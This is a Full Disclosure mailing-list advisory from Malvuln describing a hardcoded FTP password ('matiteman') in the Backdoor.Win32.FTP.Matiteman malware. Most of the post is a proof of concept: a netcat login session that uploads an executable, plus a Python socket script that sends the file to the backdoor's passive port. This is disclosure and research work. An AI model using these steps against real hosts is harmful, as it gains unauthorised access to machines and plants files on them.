Full Disclosure mailing list archives

Backdoor.Win32.FTP.Matiteman / Weak Hardcoded Password


From: malvuln <malvuln13 () gmail com>
Date: Sat, 11 Dec 2021 16:25:43 -0500

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/fc8eaa2a5752b509dbd02989d8d9f2e2.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Matiteman
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 21, authentication is required
for remote user access. However, the credentials "matiteman" are weak and
hardcoded in plaintext within the executable.
Type: PE32
MD5: fc8eaa2a5752b509dbd02989d8d9f2e2
Vuln ID: MVID-2021-0425
Disclosure: 12/11/2021

Exploit/PoC:
nc64.exe 192.168.18.125 21
welcome to mtm ftp server
USER matiteman
331 Password required for matiteman.
PASS matiteman
230 User matiteman logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "c:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,37).
STOR DOOM-SM.exe
150 Opening data connection for DOOM-SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49701
DOOM="DOOM-SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Current thread: